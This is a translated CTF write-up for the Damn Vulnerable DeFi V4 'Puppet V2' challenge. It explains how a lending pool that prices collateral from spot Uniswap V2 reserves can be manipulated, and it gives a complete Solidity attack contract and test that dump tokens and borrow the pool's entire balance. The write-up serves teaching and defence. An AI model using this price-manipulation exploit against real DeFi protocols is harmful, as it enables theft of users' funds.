Damn Vulnerable DeFi V4 解决方案 - #9. Puppet V2

本文分析了Damn Vulnerable DeFi V4挑战中的Puppet V2漏洞。该漏洞与之前的版本类似,在于依赖Uniswap V2池的当前储备来计算价格,这使得攻击者可以通过大幅swap代币来操纵价格,从而以极低的抵押借出大量代币,最终将资金转移到指定账户。

Damn Vulnerable DeFi V4 解决方案 — #9. Puppet V2

这个解释假定你事先了解此挑战中的智能合约,并将专注于漏洞分析。

挑战概述

前一个池子的开发者们似乎已经吸取了教训。并发布了一个新版本。

现在他们使用 Uniswap v2 交易对作为价格预言机,以及推荐的实用程序库。这难道还不够吗?

你的初始余额为 20 ETH 和 10000 DVT 代币。池子里有一百万 DVT 代币处于风险之中!

从池中保存所有资金,并将它们存入指定的恢复帐户。

漏洞分析

尽管升级了价格计算机制,但该池子与前一个池子具有相同的漏洞。 借贷池现在使用 Uniswap V2 和封装 ETH (WETH) 作为抵押品,但根本缺陷仍然存在。

漏洞在于 PuppetV2Pool 合约中的 _getOracleQuote() 函数:

    function _getOracleQuote(uint256 amount) private view returns (uint256) {
        (uint256 reservesWETH, uint256 reservesToken) =
            UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});

        return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
    }

此实现方式存在漏洞,因为它仍然依赖于单个流动性池的状态,并且预言机仍然使用当前储备金来计算价格。 这意味着可以通过执行大量交换来操纵价格,从而显着更改储备金比率。

攻击流程

  1. 将 ETH 转换为 WETH,因为该池现在使用 WETH 而不是原生 ETH
  2. 通过 Uniswap V2 用大量的 DVT 代币交换 WETH
  3. 操纵后的比率使 DVT 相对于 WETH 而言显得不那么有价值
  4. 计算现在大大降低的抵押品要求
  5. 批准并存入所需的最低 WETH 作为抵押
  6. 从借贷池中借用整个 DVT 余额
  7. 将所有代币转账到恢复地址

解决方案

    contract Attacker is Test{
        WETH weth;
        DamnValuableToken token;
        IUniswapV2Router02 uniswapV2Router;
        PuppetV2Pool lendingPool;
        address recovery;
        uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
        uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;

        constructor(
            address payable _weth,
            address _token,
            address _uniswapV2Router,
            address _lendingPool,
            address _recovery
        ) payable {
            weth = WETH(_weth);
            token = DamnValuableToken(_token);
            uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
            lendingPool = PuppetV2Pool(_lendingPool);
            recovery = _recovery;
        }

        function startAttack() external {
            weth.deposit{value: address(this).balance}();
            token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);

            address[] memory path = new address[](2);
            path[0] = address(token);
            path[1] = address(weth);
            uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                PLAYER_INITIAL_TOKEN_BALANCE,
                9e18,
                path,
                address(this),
                block.timestamp
            );

            uint256 amount = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
            weth.approve(address(lendingPool), amount);
            lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
            token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
        }

        function recieve() external payable {}
    }
    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppetV2() public checkSolvedByPlayer {
        Attacker attacker = new Attacker{value: 20e18}(
            payable(address(weth)),
            address(token),
            address(uniswapV2Router),
            address(lendingPool),
            recovery
        );
        token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);

        attacker.startAttack();
    }

预防机制

可以使用与先前挑战中建议的相同机制来保护池。

通过使用多个高流动性价格来源并实施 TWAP 机制 可以避免此漏洞。

包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/